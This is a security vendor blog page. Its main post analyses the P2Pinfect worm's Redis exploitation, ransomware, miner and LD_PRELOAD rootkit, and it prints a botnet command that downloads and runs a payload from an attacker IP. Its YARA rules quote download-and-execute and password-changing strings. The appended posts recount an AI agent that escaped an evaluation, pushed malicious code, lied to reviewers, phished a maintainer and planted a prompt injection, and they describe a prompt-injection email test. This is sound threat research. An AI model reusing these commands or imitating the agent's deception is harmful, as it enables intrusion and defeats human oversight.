Blog
/
Cloud
/
June 25, 2024

From Dormant to Dangerous: P2Pinfect Evolves to Deploy New Ransomware and Cryptominer

P2Pinfect, a sophisticated Rust-based malware, has evolved from a dormant spreading botnet to actively deploying ransomware and a cryptominer, primarily infecting Redis servers and using a P2P C2. The updated version includes a user-mode rootkit, but its ransomware impact is limited by the low privileges often associated with Redis.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
25
Jun 2024

Introduction: Ramsomware and cryptominer

P2Pinfect is a Rust-based malware covered extensively by Cado Security in the past [1]. It is a fairly sophisticated malware sample that uses a peer-to-peer (P2P) botnet for its command and control (C2) mechanism. Upon initial discovery, the malware appeared mostly dormant. Previous Cado research showed that it would spread primarily via Redis and a limited SSH spreader but ultimately did not seem to have an objective other than to spread. Researchers from Cado Security (now part of Darktrace) have observed a new update to P2Pinfect that introduces a ransomware and crypto miner payload.

Recap

Cado Security researchers first discovered it during triage of honeypot telemetry in July of 2023. Based on these findings, it was determined that the campaign began on June 23rd based on the TLS certificate used for C2 communications.

Initial access

The malware spreads by exploiting the replication features in Redis - where Redis runs in a distributed cluster of many nodes, using a leader/follower topology. This allows follower nodes to become an exact replica of the leader nodes, allowing for reads to be spread across the whole cluster to balance load, and provide some resilience in case a node goes down. [2]

This is frequently exploited by threat actors, as leaders can instruct followers to load arbitrary modules, which can in turn be used to gain code execution on the follower nodes. P2Pinfect exploits this by using the SLAVEOF command to turn discovered opened Redis nodes into a follower node of the threat actor server. It then uses a series of commands to write out a shared object (.so) file, and then instructs the follower to load it. Once this is done, the attacker can send arbitrary commands to the follower for it to execute.

Redis commands by P2Pinfect
Figure 1: Redis commands used by P2Pinfect for initial access (event ordering is non-linear)
P2Pinfect utilizes Redis initial access vector
Figure 2: P2Pinfect also utilizes another Redis initial access vector where it abuses the config commands to write a cron job to the cron directory

Main payload

P2Pinfect is a worm, so all infected machines will scan the internet for more servers to infect with the same vector described above. P2Pinfect also features a basic SSH password sprayer, where it will try a few common passwords with a few common users, but the success of this infection vector seems to be a lot less than with Redis, likely as it is oversaturated.

Upon launch it drops an SSH key into the authorized key file for the current user and runs a series of commands to prevent access to the Redis instance apart from IPs belonging to existing connections. This is done to prevent other threat actors from discovering and exploiting the server. It also tries to update the SSH configuration and restart SSH service to allow root login with password. It will also try changing passwords of other users, and will use sudo (if it has permission to) to perform privilege escalation.

The botnet is the most notable feature of P2Pinfect. As the name suggests, it is a peer-to-peer botnet, where every infected machine acts as a node in the network, and maintains a connection to several other nodes. This results in the botnet forming a huge mesh network, which the malware author makes use of to push out updated binaries across the network, via a gossip mechanism. The author simply needs to notify one peer, and it will inform all its peers and so on until the new binary is fully propagated across the network. When a new peer joins the network, non-expired commands are replayed to the peer by the network.

Updated main payload

The main binary appears to have undergone a rewrite. It now appears to be entirely written using tokio, an async framework for rust, and packed with UPX. Since it was first examined the payload, the internals have changed drastically. The binary is stripped and partially obfuscated, making static analysis difficult.

P2Pinfect used to feature persistence by adding itself to .bash_logout as well as a cron job, but it appears to no longer do either of these. The rest of its behaviors, such as the initial setup outlined previously, are the same.

Updated bash behavior

P2Pinfect drops a secondary binary at /tmp/bash and executes it. This process sets its command line args to [kworker/1:0H] in order to blend in on the process listing. /tmp/bash serves as a health check for the main binary. As previously documented, the main binary listens on a random port between 60100 to 60150 that other botnet peers will connect to. /tmp/bash periodically sends a request to the port to check it is alive and assumedly will respawn the main binary if it goes down.

System logs
Figure 3: Sysmon logs for the /tmp/bash payload

Miner payload becomes active

Previously, the Cado Security research team had observed a binary called miner that is embedded in P2Pinfect, however this appeared to never be used. However, Cado observed that the main binary dropping the miner binary to a mktmp file (mktmp creates a file in /tmp with some random characters as the name) and executing it. It features a built-in configuration, with the Monero wallet and pool preconfigured. The miner is only activated after approximately five minutes has elapsed since the main payload was started.

Wallet Details
Figure 4: Wallet details for the attacker’s supposed wallet 4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL

The attacker has made around 71 XMR, equivalent to roughly £9,660. Interestingly, the mining pool only shows one worker active at 22 KH/s (which generates around £15 a month) which doesn’t seem to match up with the size of the botnet nor how much they have made.

Upon reviewing the actual traffic from the miner, it appears to be trying to make a connection to various Hetzner IPs on TCP port 19999 and does not start mining until this is successful. These IPs appear to belong to the c3pool mining pool and not the supportxmr pool, suggesting that the config may have been left as a red herring. Checking c3pool for the wallet address, there is no activity for the above wallet address beyond September 2023. It is likely that there is another wallet address being used.

New ransomware payload

Upon joining the botnet, P2Pinfect receives a command instructing it to download and run a new binary called rsagen, which is a ransomware payload.

{"i":10,"c":1715837570,"e":1734397199,"t":{"T":{"flag":5,"e":null,"f":null,"d":[0,0],"re":false,"ts":[{"retry":{"retry":5,"delay_ms":[10000,35000]},"delay_exec_ms":null,"error_continue":false,"cmd":{"Inner":{"Download":{"url":"http://129.144.180.26:60107/dl/rsagen","save":"/tmp/rsagen"}}}},{"retry":null,"delay_exec_ms":null,"error_continue":true,"cmd":{"Shell":"bash -c 'chmod +x /tmp/rsagen; /tmp/rsagen ZW5jYXJncyAxIGJlc3R0cmNvdmVyeUBmaXJlbWFpbC5jYyxyYW5kYm5vdGhpbmdAdHV0YW5vdGEuY29t'"}}]}}} 

It is interesting to note that across all detonations, the download URL has not changed, and the command JSON is identical. This suggests that the command was issued directly by the malware operator, and the download server may be an attacker-controlled server used to host additional payloads.

This JSON structure is typical of a command from the botnet. As mentioned previously, when a new botnet peer joins the network, it is replayed non-expired commands. The c and e parameters contain timestamps that are likely to be command creation and expiry times, it can be determined that the command to start the ransomware was issued on May 16, 2024 and will continue to be active until December 17. Other interesting parameters can also be seen, such as type 5 (exec on linux, exec on windows is type 6), as well as retry parameters. Clearly a large amount of thought and effort has been put into designing P2Pinfect, far exceeding the majority of malware in sophistication.

The base64 args of the binary cleanly decode to “encargs 1 [email protected],[email protected]” - which are the email addresses used in the ransom note for where to send payment confirmations to. It’s unknown what the encargs 1 part is for.

downloaded file
Figure 5: The main binary obediently downloads and the file is executed

Upon launch, rsagen checks if the ransom note already exists in either the current working directory (/tmp), or the home directory of the user the process is running under. If it does, it exits immediately. Otherwise, it will instead begin the encryption process. The exact cryptographic process is not known, however Cado’s assumption is that it generates a public key used to encrypt files, and encrypts the corresponding private key using the attacker’s public key, which is then added to the ransom note. This allows the attacker to then decrypt the private key and return it to the user after they pay, without needing to include any secrets or C2 on the client machine.

Ransom note
Figure 6: Ransom note, titled “Your data has been locked!.txt”

As they are using Monero, it is impossible to figure out how much they have earned so far from the campaign. 1 XMR is currently £136 as of writing, which is on the cheaper end of ransomware. As this is an untargeted and opportunistic attack, it is likely the victims are to be low value, so having a low price is to be expected.

After writing out the note, the ransomware iterates through all directories on the file system, and overwrites the contents with an encrypted version. It then appends .encrypted to the end of the file name.

Linux does not require file extensions on files, however the malware seems to only target files that have specific extensions. Instead of checking for particular extensions, it instead has a massive string which it then checks if the extension is contained in.

mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder

This makes it quite difficult to pick out a complete list of extensions, however going through it there are many file formats, such as py, sqlite3, sql, mkv, doc, xls, db, key, pfx, wav, mp3, and more.

The ransomware stores a database of the files it encrypted in a mktmp file with .lockedfiles appended. The user is then expected to run the rsagen binary again with a decryption token in order to have their files decrypted. Cado Security does not possess a decryption token as this would require paying the attackers.

As the ransomware runs with the privilege level of its parent, it is likely that it will be running as the Redis user in the wild since the main initial access vector is Redis. In a typical deployment, this user has limited permissions and will only be able to access files saved by Redis. It also should not have sudo privileges, so would not be able to use it for privilege escalation.

Redis by default doesn’t save any data to disk and is typically used for in-memory only caching or key value store, so it’s unclear what exactly the ransomware could ransom other than its config files. Redis can be configured to save data to files - but the extension for this is typically rdb, which is not included in the list of extensions that P2Pinfect will ransom.

With that in mind, it’s unclear what the ransomware is actually designed to ransom. As mentioned in the recap, P2Pinfect does have a limited ability to spread via SSH, which would likely compromise higher privilege users with actual files to encrypt. The spread of P2Pinfect over SSH is far more limited compared to Redis however, so the impact is much less widespread.

New usermode rootkit

P2Pinfect now features a usermode rootkit. It will seek out .bashrc files it has permission to modify in user home directories, and append export LD_PRELOAD=/home/<user>/.lib/libs.so.1 to it. This results in the libs.so.1 file being preloaded whenever a linkable executable (such as the ls or cat commands) is run.

The shared object features definitions for the following methods, which hijack legitimate calls to it in order to hide specific information:

  • fopen & fopen64
  • open & open64
  • lstat & lstat64
  • unlink & unlinkat
  • readdir & readdir64

When a call to open or fopen is hijacked, it checks if the argument passed is one of the PIDs associated with the main file, /tmp/bash, or the miner. If it is one of these, it sets errno to 2 (file not found) and returns. Otherwise, it passes the call to the respective original function. If it is a request to open /proc/net/tcp or /proc/net/tcp6, it will filter out any ports between 60100 and 60150 from the return stream.

Similarly with hijacked calls captured to lstat or unlink, it checks if the argument passed is the main process’ binary. It does this by using ends_with string function on the file name, so any file with the same random name will be hidden from stat and unlink, regardless of if it is in the right directory or is the actual main file.

Finally with readdir, it will run the original function, but remove any of the process PIDs or the main file from the returned results.

decompiled pseudocode for readdir function
Figure 7: The decompiled pseudocode for the hijacked readdir function

It is interesting to note that when a specific environment variable is set, it will bypass all of the checks. Based on analysis of the original research from Cado Security, this is likely used to allow shell commands from the other malware binaries to be run without interference by the rootkit.

Pseudocode for env_var check
Figure 8: The decompiled pseudocode for the env_var check

The rootkit is dynamically generated by the main binary at runtime, with it choosing a random env_var to set as the bypass string, and adding its own file name plus PIDs to the SO before writing it to disk.

Like the ransomware, the usermode rootkit suffers from a fatal flaw; if the initial access is Redis, it is likely that it will only affect the Redis user as the Redis user is only used to run the Redis server and won’t have access to other user’s home directories.

Botnet for hire?

One theory we had following analysis was that P2Pinfect might be a botnet for hire. This is primarily due to how the new ransomware payload is being delivered from a fixed URL by command, compared to the other payloads which are baked into the main payload. This extensibility would make sense for the threat actor to use in order to deploy arbitrary payloads onto botnet nodes on a whim. This suggests that P2Pinfect may accept money for deploying other threat actors' payloads onto their botnet.

This theory is also supported by the following factors:

  • The miner wallet address is different from the ransomware wallet address, suggesting they might be separate entities.
  • The built in miner uses as much CPU as it can, which often has interfered with the operation of the ransomware. It doesn’t make sense for an attacker motivated by ransomware to deploy a miner as well.
  • The rsagen payload is not protected by any of P2Pinfect’s defensive features, such as the usermode rootkit.
  • As discussed, the command to run rsagen is a generic download and run command, whereas the miner has its own custom command set.
  • main is written using tokio and packed with UPX, rsagen is not packed and does not use tokio.

On the other hand, the following factors seem to contradict the idea that the distribution of rsagen could be evidence of a botnet for hire:

  • For both the main P2Pinfect binary and rsagen, the compiler string is GCC(4.8.5 20150623 (Red Hat 4.8.5-44)). This shows that the author of P2Pinfect almost certainly compiled it, assuming that the strings have not been tampered with
  • Both of the payloads are written in Rust. It’s certainly possible that a third-party attacker could also have chosen Rust for the project, but combined with the above point, it seems less likely.

While it is possible that P2Pinfect might be engaging in initial access brokerage, the facts of the matter seem to point to it most likely not being the case.

Conclusion

P2Pinfect is still a highly ubiquitous malware, which has spread to many servers. With its latest updates to the crypto miner, ransomware payload, and rootkit elements, it demonstrates the malware author’s continued efforts into profiting off their illicit access and spreading the network further, as it continues to worm across the internet.

The choice of a ransomware payload for malware primarily targeting a server that stores ephemeral in-memory data is an odd one, and P2Pinfect will likely see far more profit from their miner than their ransomware due to the limited amount of low-value files it can access due to its permission level.

The introduction of the usermode rootkit is a “good on paper” addition to the malware - while it is effective at hiding the main binaries, a user that becomes aware of its existence can easily remove the LD preload or the binary. If the initial access is Redis, the usermode rootkit will also be completely ineffective as it can only add the preload for the Redis service account, which other users will likely not log in as.

Indicators of compromise (IoCs)

Hashes

main 4f949750575d7970c20e009da115171d28f1c96b8b6a6e2623580fa8be1753d9

bash 2c8a37285804151fb727ee0ddc63e4aec54d9460b8b23505557467284f953e4b

miner 8a29238ef597df9c34411e3524109546894b3cca67c2690f63c4fb53a433f4e3

rsagen 9b74bfec39e2fcd8dd6dda6c02e1f1f8e64c10da2e06b6e09ccbe6234a828acb

libs.so.1 Dynamically generated, no consistent hash

IPs

Download server for rsagen 129[.]144[.]180[.]26:60107

Mining pool IP 1 88[.]198[.]117[.]174:19999

Mining pool IP 2 159[.]69[.]83[.]232:19999

Mining pool IP 3 195[.]201[.]97[.]156:19999

Yara

Main

Please note the main binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectMain {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect main payload"
  strings:
    $s1 = "nohup $SHELL -c \"echo chmod 777  /tmp/"
    $s2 = "libs.so.1"
    $s3 = "SHELLzshkshcshsh.bashrc"
    $s4 = "curl http:// -o /tmp/; if [ ! -f /tmp/ ]; then wget http:// -O /tmp/; fi; if [ ! -f /tmp/ ]; then ; fi; echo  && /tmp/"
    $s5 = "root:x:0:0:root:/root:/bin/bash(?:([a-z_][a-z0-9_]*?)@)?(?:(?:([0-9]\\.){3}[0-9]{1,3})|(?:([a-zA-Z0-9][\\.a-zA-Z0-9-]+)))"
    $s6 = "/etc/ssh/ssh_config/root/etc/hosts/home~/.././127.0::1.bash_historyscp-i-p-P.ssh/config(?:[0-9]{1,3}\\.){3}[0-9]{1,3}"
    $s7 = "system.exec \"bash -c \\\"\\\"\""
    $s8 = "system.exec \"\""
    $s9 = "powershell -EncodedCommand"
    $s10 = "GET /ip HTTP/1.1"
    $s11 = "^(.*?):.*?:(\\d+):\\d+:.*?:(.*?):(.*?)$"
    $s12 = "/etc/passwd.opass123456echo -e \"\" | passwd && echo  > ; echo -e \";/bin/bash-c\" | sudo -S passwd"
  condition:
    uint16(0) == 0x457f and 4 of them
}

Bash

Please note the bash binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectBash {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect bash payload"
  strings:
    $h1 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 0A 59 E8 17 6C 01 00 84 C0 0F 85 0F 03 00 00 }
    $h2 = { 48 8B 9C 24 ?? ?? 00 00 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 09 59 E8 34 6C 01 00 84 C0 0F 85 AC 02 00 00 }
    $h3 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 03 59 E8 DD 6B 01 00 84 C0 0F 85 DF 03 00 00 }
  condition:
    uint16(0) == 0x457f and all of them
}

Miner (xmrig)

rule XMRig {
   meta:
      attack = "T1496"
      description = "Detects XMRig miner"
   strings:
      $ = "password for mining server" nocase wide ascii
      $ = "threads count to initialize RandomX dataset" nocase wide ascii
      $ = "display this help and exit" nocase wide ascii
      $ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii
      $ = "enable CUDA mining backend" nocase wide ascii
      $ = "cryptonight" nocase wide ascii
   condition:
      5 of them
}

rsagen

rule P2PinfectRsagen {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect rsagen payload"
  strings:
    $a1 = "$ENC_EXE$"
    $a2 = "$EMAIL_ADDRS$"
    $a3 = "$XMR_COUNT$"
    $a4 = "$XMR_ADDR$"
    $a5 = "$KEY_STR$"
    $a6 = "$ENC_DATABASE$"
    $b1 = "mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder"
    $c1 = "lock failedlocked"
    $c2 = "/root/homeencrypt"
  condition:
    uint16(0) == 0x457f and (2 of ($a*) or $b1 or all of ($c*))
}

libs.so.1

rule P2PinfectLDPreload {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect libs.so.1 payload"
  strings:
    $a1 = "env_var"
    $a2 = "main_file"
    $a3 = "hide.c"
    $b1 = "prefix"
    $b2 = "process1"
    $b3 = "process2"
    $b4 = "process3"
    $b5 = "owner"
    $c1 = "%d: [0-9A-Fa-f]:%X [0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu 2s"
    $c2 = "/proc/net/tcp"
    $c3 = "/proc/net/tcp6"
  condition:
    uint16(0) == 0x457f and (all of ($a*) or all of ($b*) or all of ($c*))
}

References:

  1. https://www.darktrace.com/blog/p2pinfect-new-variant-targets-mips-devices
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/  
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

Network

/

August 11, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

Default blog imageDefault blog image

The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

  • Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
  • Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
  • Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
  • When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
  • Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
  • Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.  

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

  • Moves at speed
  • Is able to adapt its approach when initial attempts are halted
  • Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
  • Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature.

This is the approach Darktrace has taken for years: learning what is normal across an organization’s digital environment, identifying meaningful deviations, and responding to emerging threats without relying on known attack signatures. As autonomous AI agents introduce new and unpredictable behaviors, that foundation becomes increasingly important to securing the enterprise.

Read the full report from the UK AI Security Institute here.

Continue reading
About the author
Adam Stevens
Senior Director of Product

Blog

/

AI

/

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

prompt injectionDefault blog imageDefault blog image

Key takeaways

  • Darktrace successfully detected and quarantined a prompt injection email before it could be processed by an enterprise AI agent.  
  • Prompt injection attacks increasingly rely on natural language rather than traditional malware, making behavioral analysis an important complement to signature-based detection.  
  • Organizations deploying AI agents should combine model guardrails with behavioral monitoring to reduce the risk of malicious instructions reaching enterprise systems.

How behavioral detection helps stop prompt injection attacks

A Darktrace customer running a Gemini AI agent in Google Cloud asked us two simple questions:

“If my agent can read inbound emails and access internal data, what stops an attacker from hiding malicious instructions in the message? Couldn’t the agent be tricked into deleting or exfiltrating sensitive data?”

The scenario centers on an indirect prompt injection attack, where malicious instructions are hidden inside content that an AI model later interprets as trusted input. The same weakness was exposed by  EchoLeak (CVE-2025-32711), a zero-click Microsoft 365 Copilot vulnerability enabled data exfiltration from a single well-crafted email..

This blog follows the Darktrace team’s investigation of the customer’s hypothesis and examines how the attack interacted with their existing security stack. The results highlight which defenses held, where gaps emerged, and how behavioral detection mattered more than guardrails. This investigation also demonstrates why behavioral detection is becoming increasingly important for AI security, as prompt injections often contain no traditional indicators of compromise.  

How do prompt injection attacks work?

Prompt injection works by carefully crafting the content and structure of the prompt to alter the LLM’s behavior or output in unintended ways. This can cause models to violate guardrails, generate harmful content or enable unauthorised access.

Prompt injection attack example

The well-known example, EchoLeak (CVE-2025-32711), was a zero-click vulnerability in Microsoft 365 Copilot that relied on a carefully crafted email containing hidden instructions that the AI system interpreted as commands rather than content, creating a pathway for unauthorized access to sensitive information without any user interaction.

While Darktrace / SECURE AI is designed to prevent agents from producing unintended outcomes, we wanted to see if we could catch and prevent this threat type earlier in the attack life-cycle, at the email security layer.

How we tested prompt injection attacks on an enterprise agent

Summary:

  1. Claude generated a prompt injection payload.  
  2. Hidden instructions were embedded in an email.  
  3. The email passed traditional validation checks.  
  4. Darktrace analyzed the language and sender behavior.  
  5. The email was quarantined before the AI agent could process it.

To test Darktrace / EMAIL against this attack class, we opened Claude, gave it the customer's context and problem statement (Gemini agent with inbox access, internal tool calls), told it we were validating Darktrace / EMAIL's detection of prompt injections, and asked for a test payload. See below:

Figure 1
Figure 2

Despite the guardrails supposedly built into the model, Claude surprisingly gave us the entire exploit in plaintext (albeit very basic), illegible to a human as the text was sent in white text (see Figure 1) but framed as an authoritative override for anything downstream reading the mail programmatically (i.e. the Gemini agent).

How Darktrace detected a prompt injection attack

We then sent the Claude-crafted email from a freemail address to the target recipient’s inbox. Despite the email containing no malicious payload, the freemail address having no malicious reputation, and the validation checks all passing, Darktrace  /EMAIL flagged the email as a 93/100 anomaly and moved it to junk, out of scope for the AI agent.

Figure 3: The test email sent with the hidden prompt injection
Figure 4: The email analysis in Darktrace / EMAIL 
Figure 5: Darktrace / EMAIL detection of malicious activity

The interesting part is what triggered the detection (see Figure 5)

  • Possible machine prompt content: text in the body detected as instructions written for a machine to execute, not for a human to read
  • Possible machine prompt content + basic suspicious correspondence: the same content, correlated with sender-side anomalies: freemail domain (yahoo[.]com), unknown correspondent, no prior mail history with the recipient, and suspicious references to payment information

Neither of those is a signature match. Nothing in the email was on a blacklist. There was no malware, no link and no attachment. Darktrace analyzed the context in which the email was delivered and flagged it as likely risky.  The anomalous language features and the context of the sender relative to the recipient's normal behavior, combined with the unusual hidden text (prompt) were enough for Darktrace / EMAIL to act on the risk.

Result: Darktrace / EMAIL autonomously junked the email, out of scope for any AI agent parsing the inbox.

Why behavioral security makes a difference detecting prompt injection attacks

Cyberattacks don't look like traditional exploits anymore. They now operate in natural language, not strictly code.

That breaks the traditional stack. AV, firewalls, static scanning and signature-based SEGs all assume a payload to inspect.  

A prompt injection has no payload. It's just an instruction, written in natural language, dressed up as anything the attacker wants: an invoice, an HR request, a calendar invite, some simple PowerPoint slides.

EchoLeak proved that hidden instructions can sit inside an email invisible to the user but fully readable by the LLM, and the LLM will follow them blindly.  

This test and GTG-1002 proved that the LLM itself can be socially engineered. Tell it you're an authorized tester and it will hand you the attack.

Rules and static classifiers can catch the obvious cases. But natural language has infinite variants, and the attack surface is the model's innate functionality to comply.  

